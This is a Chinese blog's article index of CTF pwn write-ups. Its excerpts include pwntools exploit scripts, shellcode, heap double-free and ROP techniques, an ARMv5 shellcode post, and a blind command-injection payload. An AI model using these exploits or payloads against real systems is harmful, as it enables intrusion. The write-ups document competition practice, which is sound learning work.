
学习
文章平均质量分 60
doudoudedi
My journey is the sea of star
展开
专栏收录文章
- 默认排序
- 最新发布
- 最早发布
- 最多阅读
- 最少阅读
-
traffic-forward
基于python的流量转发工具原创 2022-12-15 23:12:00 · 548 阅读 · 1 评论 -
windows-PWN小计
windows-pwn原创 2022-09-26 11:04:29 · 1335 阅读 · 0 评论 -
Armv5_shellcode
Armv5_shellcode背景: 由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。适用场景: 1.目标适用busybox 2.有栈溢出或者其他可以劫持程序流程漏洞 3.内存中布置好此段shellcode,且能执行适用busybox/*#exec原创 2022-04-14 19:16:58 · 2913 阅读 · 0 评论 -
getshell本质与深入探究
title: 反弹shellcode本质与深入探究date: 2022-03-24 14:25:01tags:PWNgetshell本质与深入探究目标 在做CTF-PWN方向题目时,总体流程就是分析漏洞程序、然后写利用脚本、攻击本地环境、攻击靶机环境得到flag,但是在攻击本地时为什么会获得本地的shell,同时攻击远程靶机时又为什么会获得远程靶机的shell呢?同样当我们攻击一个IOT设备时,会发现使用CTF-PWN中的方法不能够得到一个交互式的shell,今天就来一探究竟基础 首先.原创 2022-03-26 18:21:19 · 5209 阅读 · 0 评论 -
什么是uboot与bios?
title: what is uboot and bios?date: 2022-03-17 17:24:27tags:前言preface 最近在漏洞挖掘过程中,涉及到了一些基础的知识比如BIOS,uboot,qemu模拟的方面。 首先开始我们需要了解机器是怎么运行的 一般我们使用的机器都是windows或者Linux,(本人是高端MAC本🤣),什么是BIOS?他有什么用,他做了什么?按下开机键的时候机器干了啥? 问: 计算机是最讲逻辑,他会按照他的规则去运行,但是我们不知道.原创 2022-03-24 14:32:27 · 4585 阅读 · 0 评论 -
大吉杯--ctf.show
easyrop简单栈溢出,将返回地址写成ROP然后在data段布置shellcode跳过去执行即可,我写了2段估计有大师傅分分钟秒解开from pwn import *context.terminal=['tmux','splitw','-h']#p=process("./easyrop")p=remote("111.231.70.44",28092)offset=64context.arch='amd64'sl=asm(shellcraft.sh())shellcode='''pop原创 2021-01-25 15:44:10 · 693 阅读 · 0 评论 -
pwnbale.tw Secret Garden
思路我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了,先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh"),shell很稳定不错嘻嘻from pwn import *#p=process(".原创 2020-12-30 18:35:11 · 334 阅读 · 0 评论 -
pwnable.kr seethefile
忙里偷闲-------一道伪造_IO_file结构体的题目发现文件结构体指针直接放在bss段上我们可以修改,很明显就是让我们伪造_IO_FILE结构体了,根据程序逻辑我们需要仔细阅读fclose函数分析源码ing_IO_new_fclose (_IO_FILE *fp){ int status; CHECK_FILE(fp, EOF);#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help原创 2020-12-14 16:57:48 · 369 阅读 · 1 评论 -
羊城杯
签到简单的uafrom pwn import *context.terminal = ['tmux', 'splitw', '-h']#p=process('./sg')p=remote('183.129.189.60',10029)elf=ELF('./sg')libc=elf.libcdef add(size,name,mess): p.sendlineafter(': ','1') p.sendlineafter(':',str(size)) p.sendlineafter('原创 2020-09-15 20:45:54 · 606 阅读 · 0 评论 -
记录护网暂停的日常(ciscn2020)
这几天我真的是忙的一就记录一下这几天的pwn的思路国赛pwn开始看no_free想到了house of orange但是不太会利用,堆学的不是很好.jpg但是之后做就是感觉来了,晚上做了2到成功以分区十几名的成绩进入了分区赛,希望大佬们轻点打钓鱼城杯就帮队伍做了2个pwn,真的难无法F5还是队友厉害3个pwnbabyjsc这个硬是被玩成了签到,python的input函数有eval的功能就直接命令执行了如图所示>>> input()__import__("os").sys原创 2020-08-28 14:03:40 · 1150 阅读 · 0 评论 -
pwn更换libc的方法
是不是常常为pwn的不同ubuntu环境而困扰)小声我也是这里分享一个patchelf的方法首先下载patchelf然后执行着2条即可以import osos.system("patchelf --set-interpreter /libc-ld.so/{} ./pwn1").format(your_input)#这里是将链接器准备好os.system("patchelf --set-rpath /libc-ld.so/{} ./pwn1").format()#这里是将libc文件加载上原创 2020-08-05 21:10:06 · 1980 阅读 · 1 评论 -
5月DASCTF
帮帮小红吧命令盲注是我没有想到的cat /flag |grep 'BJD{' || sleep(3);密码bbcrypto题目# -*- coding:utf-8 -*-import A,SALTfrom itertools import *def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill原创 2020-05-24 18:02:24 · 1382 阅读 · 3 评论 -
NPUCTF pwn
题目质量很高萌新直接自闭z这2道题都挺基础的easy_heapexp:off by one 造成了任意地址写的漏洞#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./pwn') p=remote('ha1cyon-ctf.fun',30179) elf=ELF('./pwn') l...原创 2020-04-21 22:03:31 · 811 阅读 · 0 评论 -
glibc源码分析(三)
今天自己直接进入带debug symbol的程序进行分析所以会有截图emem1.编译一个带有debug symbol的执行档在gcc命令中代入-g即可,然后使用gdb调试既可以看到,记得还要在载入symbol文件就可以了主要是为了学习一些在堆块上的分配限制规则2.进入libc这里先给出我写的测试源码很简单师傅们可以忽略#include<stdio.h>int main()...原创 2020-01-05 15:32:53 · 952 阅读 · 0 评论 -
BUUCTF 0ctf-babyheap
这道题分配内存空间是用calloc释放之后会清空分配的内容edit函数存在堆溢出我们由打赢函数指针数组存在satck地址随机,我们先想到的fastbin attack写onegadget但是要先有libc基址也是先是informationleak然后contorl pc我们就可以先分配4个add(0x10) #0add(0x10) #1add(0x80) #2add(0x10...原创 2019-12-20 14:45:58 · 476 阅读 · 0 评论 -
pwn unlink
unlink需要gobal变量然后可以写入多次,全局变量在heap上面unlink的宏p->fd=FDp->bk=BKif p->fd->bk!=p || p-bk-fd!=pworryelseFD->bk=BK &p-0x18BK->fd=FD &p-0x10如上可以绕过检查result:&p=&p...原创 2019-12-11 22:42:52 · 457 阅读 · 0 评论 -
i春秋答题欢乐赛3 pwn
emem确实很欢乐的第一个题是直接布置shellcode然后跳过去执行即可from pwn import *local=0if local==1: p=process('./2') elf=ELF('./2')else: p=remote('120.55.43.255',11002) elf=ELF('./2')def exp(): p.recvuntil('ID:')...原创 2019-12-02 21:47:34 · 328 阅读 · 0 评论 -
Nctf2019 pwn
没啥好说的自己菜就做了三个hello_pwn没啥好说了直接连from pwn import *local=1p=remote('139.129.76.65',50003)p.interactive()pwn me 100 years! (Ⅰ)00截断然后直接覆盖from pwn import *p=remote('139.129.76.65',50004)#p=proce...原创 2019-11-24 21:41:16 · 739 阅读 · 0 评论 -
xctf 100levels
直接用vsyscall的地址不会发生改变通过栈的结构分布发现返回地址+24byte之后便是system_addr将其改为execve(’/bin/sh’)然后跳到上面即可from pwn import *local=1if local==1: p=process('./100levels') elf=ELF('./100levels') libc=ELF('./libc.so')el...原创 2019-11-20 20:26:47 · 315 阅读 · 0 评论 -
UNCTF babyheap
简单堆入门题目edit长度自己输入且堆上面由put的libc地址覆盖00截断即可打印出libc然后再次写入’/bin/sh’拿到shellexp:from pwn import *p=p=process('./babyheap')elf=ELF('./babyheap')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')offset=libc.sym...原创 2019-11-16 21:15:28 · 377 阅读 · 2 评论 -
pwn cgctf note3
好像服务器挂了??这道题是fast bin存在uaf漏洞申请3个unsort bin堆块释放一个打印得到libc的基址算出one_gadget然后再释放改变第二个堆块的fd指针为malloc_hook-0x23在申请一个大小相同的堆块,在第三块堆块写入one_gagdet,再次申请堆块出发one_gadget,额本地拿不到~~from pwn import *#p=process('./not...原创 2019-11-05 11:12:31 · 448 阅读 · 0 评论 -
pwn shellcode
漏洞函数很简单没开任何保护直接写入shellcoe读flag这里只允许open read writeexp:from pwn import *import pwnlibcontext_arch='amd64'#p=process('./bad')p=remote('pwnto.fun',12301)elf=ELF('./bad')buf_addr=0x123000jmp_rsp...原创 2019-11-03 21:19:36 · 829 阅读 · 0 评论 -
BUUCTF HarekazeCTF2019 babyrop2
这道题是用printf泄露已经调用过的函数确定libc文件然后用ROPgetshell(这里有格式化字符串,没有的话可以read一个然后在泄露反正够长)exp:#coding:utf-8#name:doudoufrom pwn import *#p=process('./babyrop2')p=remote('node3.buuoj.cn',28818)elf=ELF('./baby...原创 2019-11-01 11:47:41 · 1293 阅读 · 0 评论 -
UNCTF其余WP
1.Pwn1Babyrop简单的一道栈溢出题目先泄露libc然后使用gadgetgetshellExp如下:#name:doudoudedi#coding:utf-8from pwn import *from LibcSearcher import *def debug():gdb.attach§#p=process(’./pwn4’)p=remote(‘101.71.29....原创 2019-10-30 20:43:18 · 869 阅读 · 0 评论 -
UNCTF pwn
简单的一道栈溢出题目先泄露libc然后使用gadgetgetshellExp如下:#name:doudoudedi#coding:utf-8from pwn import *from LibcSearcher import *def debug(): gdb.attach(p)#p=process('./pwn4')p=remote('101.71.29.5',10041)el...原创 2019-10-30 20:41:58 · 804 阅读 · 3 评论 -
网鼎杯GUESS
3次覆盖__libc_argv[0]然后泄露出put的真实地址然偶clac出libc然后泄露出environ里面存的栈地址然后计算flag在栈上的偏移再次泄露即可exp:from pwn import *from LibcSearcher import *p=process('./GUESS')elf=ELF('./GUESS')libc=ELF('/lib/x86_64-linux-...原创 2019-10-18 20:44:14 · 353 阅读 · 0 评论 -
bugku pwn3
这道题不算太难多次返回main函数就可以了,第一次就leak出canary然后修改最低位就可以返回main函数第二次我们leak出程序的基址再次返回main函数第三次函数我们泄露出libc最后一处返回main函数我们就可以getshell了exp:from pwn import *from LibcSearcher import *#p=process('./read_note')p=r...原创 2019-10-11 21:30:05 · 827 阅读 · 0 评论 -
昨天那个的64位exp可能我错了....
from pwn import *p=process('../badchars')elf=ELF('../badchars')bss_addr=elf.bss()system_addr=elf.plt['system']pop_rdi=0x0400b39pop_r12_r13=0x0400B3Bmov_ret=0x0400B34xor_ret=0x0400B30pop_r14_r...原创 2019-08-08 21:00:22 · 225 阅读 · 0 评论 -
pwn暑假训练(六) cgpwna
这道题是个32位栈溢出fget()是一个安全的函数很难溢出int message(){ char s; // [esp+18h] [ebp-30h] n = 10; puts("you can leave some message here:"); fgets(A, 60, stdin); puts("your name please:"); fgets(&...原创 2019-08-08 21:14:15 · 380 阅读 · 2 评论 -
pwn暑假训练(五) 哇哇好久没打了
发现自己太菜所以自闭了几天~~做了个32pwn(badchars)记录一下这道题IDA打开我们就会发现void pwnme(){ char *v0; // ST1C_4 size_t n; // ST18_4 void *s; // [esp+Ch] [ebp-2Ch] int v3; // [esp+10h] [ebp-28h] s = malloc(0x200u)...原创 2019-08-07 15:08:54 · 376 阅读 · 8 评论 -
暑假训练pwn(七) pwnable mistake
终于做了一部分pwnable这道题很有意思感觉不像pwn连上去有3个文件一个c文件一个执行文件一个password打开c#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<...原创 2019-08-10 11:06:59 · 169 阅读 · 0 评论 -
pwn暑假训练(十) emem这次的测验自己还是太菜
记一下昨天的测验我直接讲我没过的题目有system函数没有’bin/sh’只开了nx但gadget少的可怜题目直接给了libc那就不用想了直接找偏移…我同学给的libc偏移不对…Gadgets information============================================================0x00000000004006d2 : pop rbp...原创 2019-08-14 17:19:18 · 788 阅读 · 3 评论 -
pwn暑假训练(八) pwn100
今天做一道64位的栈溢出emem很难感觉自己写的是对的但找不到libc文件…我都泄露出read的地址是0x7fccec83a250了还是无法找https://libc.blukat.me/打不开用LibcSearcher也找不到我真的是很烦from pwn import *from LibcSearcher import *p=process('')elf=ELF('./pwn100'...原创 2019-08-11 17:10:23 · 440 阅读 · 0 评论 -
pwn暑假训练(九) emem原来昨天是8今天是9
今天学习了一手格式化字符串,这个漏洞危害真的大~~可以改覆写地址上所指向的值还可以泄露地址上的值这个真的太强了我们直接泄露一个libc函数的真实地址然后匹配libc找到基址偏移没有防护就什么都成了…归正题我做了whalectf的binary_200练手我们得到程序发现有用的信息如下32位有nx,Canary foundida打开有一个后门函数int canary_protect_me...原创 2019-08-12 19:58:13 · 287 阅读 · 0 评论 -
emem今天再记一道套路whalectf pwn3
这一题和上一题其实没啥大的区别一样是32位开了nx,cannary就是没有后门函数main函数int __cdecl main(int argc, const char **argv, const char **envp){ char s; // [esp+Ch] [ebp-4Ch] unsigned int v5; // [esp+4Ch] [ebp-Ch] v5 = __r...原创 2019-08-12 20:47:38 · 403 阅读 · 0 评论 -
暑假pwn训练 第(十一)国赛pwn
昨天做了几道pwn题emem今天也做了2道表示pwn好难被打自闭了…昨天重新做了一下国赛的pwn题发现好像能做几道…当时的自己也是真的菜~~pwn1就是常规思路泄露libc然后getshell// local variable allocation has failed, the output may be wrong!int __cdecl main(int argc, const c...原创 2019-08-16 19:29:15 · 1084 阅读 · 2 评论 -
python os 模块
发现这个 模块很好用记录一下可以爆破可以在打pwn的时候写一些随机数的预测小脚本,emem好用到不要不要的哈哈先要导入import osos.getcwd() #获取当前的工作目录~~os.chdir()#可以改变当前脚本工作目录os.curdir#返回当前目录无参os.system()#这个东西好像用的挺多的os.split()#将当前路径返回为二维数组os.popen()#方法...原创 2019-09-11 13:29:44 · 121 阅读 · 0 评论 -
buuctf babyfengshui
日常堆题不会我啃了2天是个硬骨头~~这道题直接套调试过程add(0x80,0x80,'aaa')add(0x80,0x80,'bbb')add(0x8,0x8,'/bin/sh')清楚的看见chunk的位置改变了原来相邻的chunk发生的变化然后我们就绕过了if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1]...原创 2019-10-07 21:25:29 · 289 阅读 · 2 评论 -
pwn HITCON Trainging lab13
emem其实我的结构体学的不太好结构体大概为这样:struct{ char *heaparray[i]; char conten[20]}edit heaparray->content编辑的地方存在一个off by one的漏洞我们可以修改下一个chunk的大小然后释放申请该大小的chunk造成堆溢出~~简单点说就是先创建三个堆块在第一个堆块写入’/bin/s...原创 2019-10-09 21:30:04 · 283 阅读 · 0 评论 -
今天pwn不出来无语了暑假训练晚上再来记一首栈
每一个程序在运行时都有一个虚拟的地址空间,其中一部分是与程序对应的对战,用于保存函数调用信息和局部变量,常见的操作也是堆叠和弹出,程序的对战从进程空间的地地址到搞地质32位的函数返回地址与64位有差异内存地址不能大于0x00007FFFFFFFFFFF,否则会爆出异常System V AMD64 ABI(用于linux,FreeBSD,macOS)前6个整数或指针参数储存在 RDI,RSI...原创 2019-07-30 14:21:11 · 137 阅读 · 0 评论